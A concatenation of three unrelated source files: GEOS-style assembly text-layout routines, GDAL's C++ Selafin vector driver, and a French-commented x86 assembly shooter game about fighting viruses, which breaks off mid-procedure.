COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SmallLineSumAndMarkRange
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Sum the heights of a range of lines and mark them as needing
to be calculated or drawn.
CALLED BY: Global
PASS: *ds:si = Instance ptr
bx.cx = Start of range
dx.ax = End of range
bp = Flags to set
RETURN: cx.dx.ax= Sum of heights
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 4/ 4/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SmallLineSumAndMarkRange proc far
uses bx, di, si
flags local word push bp
hgtSum local DWFixed
.enter
ForceRef flags
;
; Set up arguments.
;
push ax
call SmallGetLineArray ; *ds:ax <- line-array
mov si, ax ; *ds:si <- line array
pop ax
mov bx, cs ; bx:di <- callback
mov di, offset cs:CommonSumAndMarkCallback
sub ax, cx ; ax <- Number of lines to do
xchg ax, cx ; ax <- first line to do
; cx <- Number of lines to do
clrdw hgtSum.DWF_int ; Init height so far
clr hgtSum.DWF_frac
call ChunkArrayEnumRange ; Do the enumeration
;
; Return stuff
;
movdw cxdx, hgtSum.DWF_int
mov ax, hgtSum.DWF_frac
.leave
ret
SmallLineSumAndMarkRange endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CommonSumAndMarkCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Add the height of the line to an accumulator and mark the
line as needing to be drawn and computed.
CALLED BY: HugeArrayEnum & ChunkArrayEnumRange
PASS: ds:di = Current line
ss:bp = Inheritable stack frame
RETURN: carry clear always (indicating "continue")
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 4/ 7/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CommonSumAndMarkCallback proc far
uses ax, bx, cx, dx, es
.enter inherit SmallLineSumAndMarkRange
;
; Update the running total
;
segmov es, ds, ax ; es:di <- line
CommonLineGetHeight ; dx.bl <- line height
mov bh, bl ; dx.bx <- line height
clr bl
add hgtSum.DWF_frac, bx ; Update the total
adc hgtSum.DWF_int.low, dx
adc hgtSum.DWF_int.high, 0
;
; Update the flags
;
mov ax, flags ; ax <- flags to set
clr cx ; cx <- flags to clear
call CommonLineAlterFlags ; Update the flags
clc ; Signal: continue
.leave
ret
CommonSumAndMarkCallback endp
TextRegion ends
TextInstance segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SmallFindMaxWidth
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Find the maximum width of all the lines.
CALLED BY: TL_LineFindMaxWidth
PASS: *ds:si = Instance
RETURN: dx.al = Max width
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 5/27/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SmallFindMaxWidth proc near
uses bx, cx, di, si, bp
.enter
sub sp, size LICL_vars ; Allocate stack frame
mov bp, sp ; ss:bp <- stack frame
call InitVarsForFindMaxWidth ; Set up stack frame
;
; Set up arguments.
;
call SmallGetLineArray ; *ds:ax <- line-array
mov si, ax ; *ds:si <- line array
mov bx, cs ; bx:di <- callback
mov di, offset cs:CommonFindMaxWidth
clrwbf dxcl ; dx.cl <- Max width so far
call ChunkArrayEnum ; Do the enumeration
mov al, cl ; dx.al <- Max width
add sp, size LICL_vars ; Restore stack frame
.leave
ret
SmallFindMaxWidth endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitVarsForFindMaxWidth
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Init the LICL_vars for CommonFindMaxWidth
CALLED BY: LargeFindMaxWidth, SmallFindMaxWidth
PASS: *ds:si = Instance
ss:bp = LICL_vars
RETURN: set:
LICL_object (ds:si)
LICL_paraAttrStart (-1)
LICL_lineStart (0)
LICL_region (0)
LICL_lineBottom (0)
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 9/22/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InitVarsForFindMaxWidth proc near
;
; Initialize the stack frame appropriately
;
movdw ss:[bp].LICL_object, dssi ; Save object
movdw LICL_paraAttrStart, -1 ; ParaAttr aren't set
clrdw ss:[bp].LICL_lineStart ; First line starts at 0
;
; Since we are starting at the very first line, the lines position
; must be at 0 and the region number must also be at zero.
;
clr ss:[bp].LICL_region ; Current region
clrwbf ss:[bp].LICL_lineBottom ; Bottom of previous line
ret
InitVarsForFindMaxWidth endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CommonFindMaxWidth
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check a line width against the current maximum.
CALLED BY: ChunkArrayEnum
PASS: *ds:si = Array
ds:di = Element
ax = Size of element
dx.cl = Max width so far
ss:bp = LICL_vars w/ these set:
LICL_paraAttrStart/End
LICL_paraAttr
LICL_lineStart
RETURN: carry clear always
DESTROYED: bx, di, si
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 5/27/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CommonFindMaxWidth proc far
class VisTextClass
uses ax, ds, es
.enter
segmov es, ds, si ; es:di <- ptr to line
movdw dssi, ss:[bp].LICL_object ; *ds:si <- instance
;
; Set up the paragraph attributes
;
push ax, dx ; Save size, maxWidth.high
movdw dxax, ss:[bp].LICL_lineStart
call T_EnsureCorrectParaAttr ; Get the paragraph attributes
;
; Update the line start to point at the next line.
;
CommonLineGetCharCount ; dx.ax <- # of chars
adddw ss:[bp].LICL_lineStart, dxax ; Update the line start
pop ax, dx ; Restore size, maxWidth.high
;-----------------------------------------------------------------------------
;
; Compute line width by adding the position of the last field and
; the width of the last field
;
mov bx, offset LI_firstField ; es:di.bx <- first field
fieldLoop:
;
; es:di = Line
; es:di.bx = Field
; ax = Offset past last field
; bp.ch = Line width so far
; dx.cl = Maximum line width
;
cmp bx, ax ; Check for done
jae endLoop
add bx, size FieldInfo ; bx <- offset to next field
jmp fieldLoop ; Loop to handle it
endLoop:
sub bx, size FieldInfo ; bx <- offset to last field
mov ax, es:[di][bx].FI_position
add ax, es:[di][bx].FI_width
;
; Add in the adjustment. This will account for any left or paragraph
; margin associated with this line.
;
add ax, es:[di].LI_adjustment ; Add in the adjustment
clr ch
;-----------------------------------------------------------------------------
;
; Account for the right margin
; ss:bp = LICL_vars
; ax.ch = Line width w/o right margin accounted for
; dx.cl = Max width (so far)
;
; adjustAmount = (object.right - rightMargin)
;
call TextInstance_DerefVis_DI ; ds:di <- instance
clr bh ; bx <- object.right
mov bl, ds:[di].VTI_lrMargin
add ax, ds:[di].VI_bounds.R_right
sub ax, bx
sub ax, LICL_paraAttr.VTPA_rightMargin
;-----------------------------------------------------------------------------
;
; Compare width against the current maximum
; ax.ch = Line width
; dx.cl = Max width
;
cmpwbf dxcl, axch
jae gotWidth ; Branch if new is less
movwbf dxcl, axch ; Else set new maximum
gotWidth:
clc ; Signal: continue
.leave
ret
CommonFindMaxWidth endp
TextInstance ends
|
/******************************************************************************
* Project: Selafin importer
* Purpose: Implementation of OGR driver for Selafin files.
* Author: François Hissel, francois.hissel@gmail.com
*
******************************************************************************
* Copyright (c) 2014, François Hissel <francois.hissel@gmail.com>
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
* DEALINGS IN THE SOFTWARE.
****************************************************************************/
#include "ogr_selafin.h"
#include "cpl_conv.h"
#include "cpl_string.h"
#include "io_selafin.h"
CPL_CVSID("$Id: ogrselafindriver.cpp 1761acd90777d5bcc49eddbc13c193098f0ed40b 2020-10-01 12:12:00 +0200 Even Rouault $")
/************************************************************************/
/* OGRSelafinDriverIdentify() */
/************************************************************************/
static int OGRSelafinDriverIdentify( GDALOpenInfo* poOpenInfo )
{
if( poOpenInfo->fpL != nullptr )
{
if( poOpenInfo->nHeaderBytes < 84 + 8 )
return FALSE;
if (poOpenInfo->pabyHeader[0]!=0 || poOpenInfo->pabyHeader[1]!=0 ||
poOpenInfo->pabyHeader[2]!=0 || poOpenInfo->pabyHeader[3]!=0x50)
return FALSE;
if (poOpenInfo->pabyHeader[84+0]!=0 || poOpenInfo->pabyHeader[84+1]!=0 ||
poOpenInfo->pabyHeader[84+2]!=0 || poOpenInfo->pabyHeader[84+3]!=0x50 ||
poOpenInfo->pabyHeader[84+4]!=0 || poOpenInfo->pabyHeader[84+5]!=0 ||
poOpenInfo->pabyHeader[84+6]!=0 || poOpenInfo->pabyHeader[84+7]!=8)
return FALSE;
return TRUE;
}
return -1;
}
/************************************************************************/
/* OGRSelafinDriverOpen() */
/************************************************************************/
static GDALDataset *OGRSelafinDriverOpen( GDALOpenInfo* poOpenInfo ) {
if( OGRSelafinDriverIdentify(poOpenInfo) == 0 )
return nullptr;
OGRSelafinDataSource *poDS = new OGRSelafinDataSource();
if( !poDS->Open(poOpenInfo->pszFilename, poOpenInfo->eAccess == GA_Update,
FALSE) )
{
delete poDS;
poDS = nullptr;
}
return poDS;
}
/************************************************************************/
/* OGRSelafinDriverCreate() */
/************************************************************************/
static GDALDataset *OGRSelafinDriverCreate( const char * pszName,
CPL_UNUSED int nXSize,
CPL_UNUSED int nYSize,
CPL_UNUSED int nBands,
CPL_UNUSED GDALDataType eDT,
char **papszOptions ) {
// First, ensure there isn't any such file yet.
VSIStatBufL sStatBuf;
if (strcmp(pszName, "/dev/stdout") == 0) pszName = "/vsistdout/";
if( VSIStatL( pszName, &sStatBuf ) == 0 ) {
CPLError(CE_Failure, CPLE_AppDefined,"It seems a file system object called '%s' already exists.",pszName);
return nullptr;
}
// Parse options
const char *pszTemp=CSLFetchNameValue(papszOptions,"TITLE");
char pszTitle[81];
int pnDate[6]={-1,0};
if (pszTemp!=nullptr) strncpy(pszTitle,pszTemp,72); else memset(pszTitle,' ',72);
pszTemp=CSLFetchNameValue(papszOptions,"DATE");
if (pszTemp!=nullptr) {
const char* pszErrorMessage="Wrong format for date parameter: must be \"%%Y-%%m-%%d_%%H:%%M:%%S\", ignored";
const char *pszc=pszTemp;
pnDate[0]=atoi(pszTemp);
if (pnDate[0]<=0) CPLError(CE_Warning, CPLE_AppDefined,"%s",pszErrorMessage); else {
if (pnDate[0]<100) pnDate[0]+=2000;
}
while (*pszc!=0 && *pszc!='-') ++pszc;
pnDate[1]=atoi(pszc);
if (pnDate[1]<0 || pnDate[1]>12) CPLError(CE_Warning, CPLE_AppDefined,"%s",pszErrorMessage);
while (*pszc!=0 && *pszc!='_') ++pszc;
pnDate[2]=atoi(pszc);
if (pnDate[2]<0 || pnDate[2]>59) CPLError(CE_Warning, CPLE_AppDefined,"%s",pszErrorMessage);
while (*pszc!=0 && *pszc!='_') ++pszc;
pnDate[3]=atoi(pszc);
if (pnDate[3]<0 || pnDate[3]>23) CPLError(CE_Warning, CPLE_AppDefined,"%s",pszErrorMessage);
while (*pszc!=0 && *pszc!=':') ++pszc;
pnDate[4]=atoi(pszc);
if (pnDate[4]<0 || pnDate[4]>59) CPLError(CE_Warning, CPLE_AppDefined,"%s",pszErrorMessage);
while (*pszc!=0 && *pszc!=':') ++pszc;
pnDate[5]=atoi(pszc);
if (pnDate[5]<0 || pnDate[5]>59) CPLError(CE_Warning, CPLE_AppDefined,"%s",pszErrorMessage);
}
// Create the skeleton of a Selafin file
VSILFILE *fp=VSIFOpenL(pszName,"wb");
if (fp==nullptr) {
CPLError(CE_Failure, CPLE_AppDefined,"Unable to open %s with write access.",pszName);
return nullptr;
}
strncpy(pszTitle+72,"SERAPHIN",9);
bool bError=false;
if (Selafin::write_string(fp,pszTitle,80)==0) bError=true;
int pnTemp[10]={0};
if (Selafin::write_intarray(fp,pnTemp,2)==0) bError=true;
if (pnDate[0]>=0) pnTemp[9]=1;
if (Selafin::write_intarray(fp,pnTemp,10)==0) bError=true;
if (pnDate[0]>=0) {
if (Selafin::write_intarray(fp,pnTemp,6)==0) bError=true;
}
pnTemp[3]=1;
if (Selafin::write_intarray(fp,pnTemp,4)==0) bError=true;
if (Selafin::write_intarray(fp,pnTemp,0)==0) bError=true;
if (Selafin::write_intarray(fp,pnTemp,0)==0) bError=true;
if (Selafin::write_floatarray(fp,nullptr,0)==0) bError=true;
if (Selafin::write_floatarray(fp,nullptr,0)==0) bError=true;
VSIFCloseL(fp);
if (bError) {
CPLError(CE_Failure, CPLE_AppDefined,"Error writing to file %s.",pszName);
return nullptr;
}
// Force it to open as a datasource
OGRSelafinDataSource *poDS = new OGRSelafinDataSource();
if( !poDS->Open( pszName, TRUE, TRUE ) )
{
delete poDS;
return nullptr;
}
return poDS;
}
/************************************************************************/
/* OGRSelafinDriverDelete() */
/************************************************************************/
static CPLErr OGRSelafinDriverDelete( const char *pszFilename ) {
if( CPLUnlinkTree( pszFilename ) == 0 ) return CE_None;
else return CE_Failure;
}
/************************************************************************/
/* RegisterOGRSelafin() */
/************************************************************************/
void RegisterOGRSelafin() {
if( GDALGetDriverByName( "Selafin" ) != nullptr )
return;
GDALDriver *poDriver = new GDALDriver();
poDriver->SetDescription( "Selafin" );
poDriver->SetMetadataItem( GDAL_DCAP_VECTOR, "Selafin" );
poDriver->SetMetadataItem( GDAL_DMD_LONGNAME, "Selafin" );
poDriver->SetMetadataItem( GDAL_DMD_HELPTOPIC, "drivers/vector/selafin.html" );
poDriver->SetMetadataItem( GDAL_DMD_CREATIONOPTIONLIST,
"<CreationOptionList>"
" <Option name='TITLE' type='string' description='Title of the datasource, stored in the Selafin file. The title must not hold more than 72 characters.'/>"
" <Option name='DATE' type='string' description='Starting date of the simulation. Each layer in a Selafin file is characterized by a date, counted in seconds since a reference date. This option allows providing the reference date. The format of this field must be YYYY-MM-DD_hh:mm:ss'/>"
"</CreationOptionList>");
poDriver->SetMetadataItem( GDAL_DS_LAYER_CREATIONOPTIONLIST,
"<LayerCreationOptionList>"
" <Option name='DATE' type='float' description='Date of the time step, in seconds, relative to the starting date of the simulation.'/>"
"</LayerCreationOptionList>");
poDriver->SetMetadataItem( GDAL_DCAP_VIRTUALIO, "YES" );
poDriver->pfnOpen = OGRSelafinDriverOpen;
poDriver->pfnIdentify = OGRSelafinDriverIdentify;
poDriver->pfnCreate = OGRSelafinDriverCreate;
poDriver->pfnDelete = OGRSelafinDriverDelete;
GetGDALDriverManager()->RegisterDriver( poDriver );
}
|
%include oxylib/oxysound.asm
%include oxylib/oxygame.asm
%include oxylib/oxyrand.asm
; on inclut le sprite du virus, situé dans le dossier assets
%include assets/drawV3.asm
%include assets/drawV3a.asm
DSEG SEGMENT
; position du joueur
playerX DW ?
playerY DW ?
; 1 si le joueur pointe à droite
playerRight DB ?
; 1 si le joueur a gagné, 2 si c'est une nouvelle partie
g_playerWin DW 2
; coordonnées du projectile
projX DW ?
projY DW ?
; 1 si le projectile pointe à droite
projRight DB ?
; position des ennemis
mobsX DW 0, 0, 0, 0
mobsY DW 0, 0, 0, 0
; 1 si les ennemis sont visibles
mobsShowing DW 0, 0, 0, 0
; titre
titleLbl DB "Call Of VID-19"
l_titleLbl EQU $-titleLbl
; jouer
playBtn DB "Play"
l_playBtn EQU $-playBtn
; ordonnée du bouton jouer
_PLAYy_ EQU 92
; quitter
quitBtn DB "Quit"
l_quitBtn EQU $-quitBtn
; ordonnée du bouton quitter
_QUITy_ EQU 115
; message de victoire
winLbl DB "The VID-19 isn't a treat anymore !"
l_winLbl EQU $-winLbl
; message de défaite
looseLbl DB "You failed to stem the VID-19 !"
l_looseLbl EQU $-looseLbl
; taille du joueur
_g_playerSize DW 16
; pixels par touche appuyés du deplacement du joueur
_g_playerSpeed DW 8
; taille du projectile
_g_projSize DW 16
; pixels par mise à jour du jeu du deplacement du projectile
_g_projSpeed DW 2
; taille du virus en pixel
_g_virSize DW 16
; pixels par mise à jour du jeu du deplacement des virus
_g_virSpeed DW 1
; 1 si un projectile est affiché à l'écran
g_projShow DB 0
; 1 si le joueur doit être affiché dans son sprite alternatif (animation)
g_altSprite DB 0
; compteur de frames pendant qu'un sprite joueur est affiché (animation)
g_spriteCounter DW 0
; compteur de frames pendant qu'un sprite joueur de recul est affiché (animation)
g_fireFrames DW 60
; ordonnée du curseur dans le menu
g_cursY DW _PLAYy_
; compteur de frames après un déplacement du joueur (animation)
g_moveFrames DW 60
; dernier type de mouvement fait par le joueur (haut, bas, gauche, droite)
g_lastDepl DW 0
; compteur de frames pendant qu'un sprite ennemi est affiché (animation)
g_virusAnimFrames DW 0
DSEG ENDS
SPAWNVIRUS MACRO virX, virY, show
push DX
oxrGETRND 100h, DX
add DX, 20h
mov virX, DX
oxrGETRND 88h, DX
add DX, 20h
mov virY, DX
mov show, 1
pop DX
ENDM
; g_INIT
;
; initialise une nouvelle partie
g_INIT PROC NEAR
mov playerX, 16
mov playerY, 16
mov playerRight, 1
mov projX, 0
mov projY, 0
mov projRight, 1
; SPAWNVIRUS mobsX, mobsY, mobsShowing
mov mobsX, 166
mov mobsY, 159
mov mobsShowing, 1
; SPAWNVIRUS mobsX+2, mobsY+2, mobsShowing+2
mov mobsX+2, 136
mov mobsY+2, 156
mov mobsShowing+2, 1
; SPAWNVIRUS mobsX+4, mobsY+4, mobsShowing+4
mov mobsX+4, 258
mov mobsY+4, 166
mov mobsShowing+4, 1
; SPAWNVIRUS mobsX+6, mobsY+6, mobsShowing+6
mov mobsX+6, 165
mov mobsY+6, 57
mov mobsShowing+6, 1
mov g_playerWin, 2
mov g_projShow, 0
mov g_altSprite, 0
mov g_spriteCounter, 0
mov g_fireFrames, 60
mov g_moveFrames, 60
mov g_lastDepl, 0
mov g_virusAnimFrames, 0
ret
g_INIT ENDP
; CLEARVIRUS
;
; efface une zone de la taille d'un virus
; X : absisse du point haut gauche de la zone
; Y : ordonnée du point haut gauche de la zone
CLEARVIRUS MACRO X, Y
oxg_CLEARSOMETHING X, Y, 2, 2
ENDM
; CLEARPROJ
;
; efface le projectile
CLEARPROJ PROC NEAR
oxg_CLEARSOMETHING projX, projY, 2, 1
ret
CLEARPROJ ENDP
; CLEARPLAYER
;
; efface le joueur
CLEARPLAYER PROC NEAR
oxg_CLEARSOMETHING playerX, playerY, 1, 1
ret
CLEARPLAYER ENDP
; g_DRAWPLAYER
;
; dessine le joueur
g_DRAWPLAYER PROC FAR
cmp playerRight, 0
jnz gPdrawR
; la magie fait que ça fonctionne
cmp g_fireFrames, 30 ; priorité à l'animation de tir
jbe gPdrawFireL
cmp g_moveFrames, 30 ; animation de déplacement
jbe gPdrawMoveL
cmp g_altSprite, 0 ;animation idle
jnz gPdrawAltL
%include assets/drawPl.asm
jmp gPdrawEnd
gPdrawFireL:
%include assets/drawPlF.asm
jmp gPdrawEnd
gPdrawMoveL:
cmp g_lastDepl, 1
je gPdrawULeft
cmp g_lastDepl, 2
je gPdrawDLeft
%include assets/drawPMoL.asm
jmp gPdrawEnd
gPdrawULeft:
%include assets/drawPUpL.asm
jmp gPdrawEnd
gPdrawDLeft:
%include assets/drawPDoL.asm
jmp gPdrawEnd
gPdrawAltL:
%include assets/drawPlA.asm
jmp gPdrawEnd
gPdrawR:
cmp g_fireFrames, 30
jbe gPdrawFireR
cmp g_moveFrames, 30
jbe gPdrawMoveR
cmp g_altSprite, 0
jnz gPdrawAltR
%include assets/drawPr.asm
jmp gPdrawEnd
gPdrawMoveR:
cmp g_lastDepl, 1
je gPdrawURight
cmp g_lastDepl, 2
je gPdrawDRight
%include assets/drawPMoR.asm
jmp gPdrawEnd
gPdrawURight:
%include assets/drawPUpR.asm
jmp gPdrawEnd
gPdrawDRight:
%include assets/drawPDoR.asm
jmp gPdrawEnd
gPdrawFireR:
%include assets/drawPrF.asm
jmp gPdrawEnd
gPdrawAltR:
%include assets/drawPrA.asm
gPdrawEnd:
ret
g_DRAWPLAYER ENDP
; g_DRAWBULLET
;
; dessine le projectile
g_DRAWBULLET PROC NEAR
call CLEARPROJ
cmp projRight, 0
jnz gBanimR
call ANIMATEBULLETL
jmp gBanimEnd
gBanimR:
call ANIMATEBULLETR
gBanimEnd:
cmp g_projShow, 0
je gBdrawEnd
cmp projRight, 0
jnz gBdrawR
%include assets/drawSerL.asm
jmp gBdrawEnd
gBdrawR:
%include assets/drawSerR.asm
gBdrawEnd:
ret
g_DRAWBULLET ENDP
; PLAYERCOLLIDEMOB
;
; réalise les tests de collision entre le joueur et les mobs
g_PLAYERCOLLIDEMOB PROC FAR
push AX
push BX
cmp mobsShowing, 0
jz isOnMobTwo
mov AX, mobsX
cmp playerX, AX
jl playerIsOnMobTwo
add AX, _g_virSize
cmp playerX, AX
jg playerIsOnMobTwo
mov BX, _g_virSize
;sar BX, 1
mov AX, mobsY
sub AX, BX
cmp playerY, AX
jl playerIsOnMobTwo
add AX, _g_virSize
cmp playerY, AX
jg playerIsOnMobTwo
mov g_playerWin, 0
;collision mob 1
playerIsOnMobTwo:
cmp mobsShowing+2, 0
jz playerIsOnMobThr
mov AX, mobsX+2
cmp playerX, AX
jl playerIsOnMobThr
add AX, _g_virSize
cmp playerX, AX
jg playerIsOnMobThr
mov BX, _g_virSize
;sar BX, 1
mov AX, mobsY+2
sub AX, BX
cmp playerY, AX
jl playerIsOnMobThr
add AX, _g_virSize
cmp playerY, AX
jg playerIsOnMobThr
mov g_playerWin, 0
;collision mob 2
playerIsOnMobThr:
cmp mobsShowing+4, 0
jz playerIsOnMobFou
mov AX, mobsX+4
cmp playerX, AX
jl playerIsOnMobFou
add AX, _g_virSize
cmp playerX, AX
jg playerIsOnMobFou
mov BX, _g_virSize
;sar BX, 1
mov AX, mobsY+4
sub AX, BX
cmp playerY, AX
jl playerIsOnMobFou
add AX, _g_virSize
cmp playerY, AX
jg playerIsOnMobFou
mov g_playerWin, 0
;collision mob 3
playerIsOnMobFou:
cmp mobsShowing+6, 0
jz endPlayerCollide
mov AX, mobsX+6
cmp playerX, AX
jl endPlayerCollide
add AX, _g_virSize
cmp playerX, AX
jg endPlayerCollide
mov BX, _g_virSize
;sar BX, 1
mov AX, mobsY+6
sub AX, BX
cmp playerY, AX
jl endPlayerCollide
add AX, _g_virSize
cmp playerY, AX
jg endPlayerCollide
mov g_playerWin, 0
;collision mob 4
endPlayerCollide:
pop BX
pop AX
ret
g_PLAYERCOLLIDEMOB ENDP
; BULLETCOLLIDEMOBS
;
; réalise les tests de collision entre le projectile et les mobs
BULLETCOLLIDEMOBS PROC FAR
push AX
push BX
cmp mobsShowing, 0
jz isOnMobTwo
mov AX, mobsX
cmp projX, AX
jl isOnMobTwo
add AX, _g_virSize
cmp projX, AX
jg isOnMobTwo
mov BX, _g_virSize
sar BX, 1
mov AX, mobsY
sub AX, BX
cmp projY, AX
jl isOnMobTwo
add AX, _g_virSize
cmp projY, AX
jg isOnMobTwo
mov g_projShow, 0
mov mobsShowing, 0
CLEARVIRUS mobsX, mobsY
isOnMobTwo:
cmp mobsShowing+2, 0
jz isOnMobThr
mov AX, mobsX+2
cmp projX, AX
jl isOnMobThr
add AX, _g_virSize
cmp projX, AX
jg isOnMobThr
mov BX, _g_virSize
sar BX, 1
mov AX, mobsY+2
sub AX, BX
cmp projY, AX
jl isOnMobThr
add AX, _g_virSize
cmp projY, AX
jg isOnMobThr
mov g_projShow, 0
mov mobsShowing+2, 0
CLEARVIRUS mobsX+2, mobsY+2
isOnMobThr:
cmp mobsShowing+4, 0
jz isOnMobFou
mov AX, mobsX+4
cmp projX, AX
jl isOnMobFou
add AX, _g_virSize
cmp projX, AX
jg isOnMobFou
mov BX, _g_virSize
sar BX, 1
mov AX, mobsY+4
sub AX, BX
cmp projY, AX
jl isOnMobFou
add AX, _g_virSize
cmp projY, AX
jg isOnMobFou
mov g_projShow, 0
mov mobsShowing+4, 0
CLEARVIRUS mobsX+4, mobsY+4
isOnMobFou:
cmp mobsShowing+6, 0
jz endCollide
mov AX, mobsX+6
cmp projX, AX
jl endCollide
add AX, _g_virSize
cmp projX, AX
jg endCollide
mov BX, _g_virSize
sar BX, 1
mov AX, mobsY+6
sub AX, BX
cmp projY, AX
jl endCollide
add AX, _g_virSize
cmp projY, AX
jg endCollide
mov g_projShow, 0
mov mobsShowing+6, 0
CLEARVIRUS mobsX+6, mobsY+6
endCollide:
pop BX
pop AX
ret
BULLETCOLLIDEMOBS ENDP
; ANIMATEBULLETR
;
; réalise les animation du projectile quand il va vers la droite
ANIMATEBULLETR PROC NEAR
push AX
mov AX, projX
add AX, _g_projSpeed
mov projX, AX
mov AX, 140h
sub AX, _g_projSize
cmp projX, AX
jl endBAnimR
mov g_projShow, 0
call CLEARPROJ
endBAnimR:
call BULLETCOLLIDEMOBS
pop AX
ret
ANIMATEBULLETR ENDP
; ANIMATEBULLETL
;
; réalise les animation du projectile quand il va vers la gauche
ANIMATEBULLETL PROC NEAR
push AX
mov AX, projX
sub AX, _g_projSpeed
mov projX, AX
mov AX, 0h
;add AX, _g_projSize
cmp projX, AX
jg endBAnimL
mov g_projShow, 0
call CLEARPROJ
endBAnimL:
call BULLETCOLLIDEMOBS
pop AX
ret
ANIMATEBULLETL ENDP
; g_ANIMATEPLAYER
;
; mets à jour les variables d'animation du joueur
g_ANIMATEPLAYER PROC NEAR
inc g_spriteCounter
cmp g_fireFrames, 60
ja gAnimSkipFireFrames
inc g_fireFrames
gAnimSkipFireFrames:
cmp g_moveFrames, 60
ja gAnimSkipMoveFrames
inc g_moveFrames
gAnimSkipMoveFrames:
cmp g_spriteCounter, 40
jne gAnimRet
xor g_altSprite, 1
mov g_spriteCounter, 0
gAnimRet:
call CLEARPLAYER
call g_DRAWPLAYER
ret
g_ANIMATEPLAYER ENDP
; g_ANIMATEVIRUSES
;
; anime les virus
g_ANIMATEVIRUSES PROC NEAR
inc g_virusAnimFrames
cmp g_virusAnimFrames, 60
jne gAnimVirusFramesEnd
mov g_virusAnimFrames, 0
gAnimVirusFramesEnd:
ret
g_ANIMATEVIRUSES ENDP
; g_PFORWARD
;
; code exécuté quand la touche du haut est pressée
g_PFORWARD PROC NEAR
push AX
push BX
call CLEARPLAYER
mov g_lastDepl, 1
mov g_moveFrames, 0
mov AX, playerY
mov BX, 0h
;add BX, _g_playerSize
cmp AX, BX
jne moveFor
jmp finallyFor
moveFor:
sub AX, _g_playerSpeed
mov playerY, AX
finallyFor:
call g_DRAWPLAYER
pop BX
pop AX
ret
g_PFORWARD ENDP
; g_PLEFTWARD
;
; code exécuté quand la touche de gauche est pressée
g_PLEFTWARD PROC NEAR
push AX
push BX
mov playerRight, 0
call CLEARPLAYER
mov g_lastDepl, 0
mov g_moveFrames, 0
mov AX, playerX
mov BX, 0h
;add BX, _g_playerSize
cmp AX, BX
jne moveRig
jmp finallyRig
moveRig:
sub AX, _g_playerSpeed
mov playerX, AX
finallyRig:
call g_DRAWPLAYER
pop BX
pop AX
ret
g_PLEFTWARD ENDP
; g_PBACKWARD
;
; code exécuté quand la touche du bas est pressée
g_PBACKWARD PROC NEAR
push AX
push BX
call CLEARPLAYER
mov g_lastDepl, 2
mov g_moveFrames, 0
mov AX, playerY
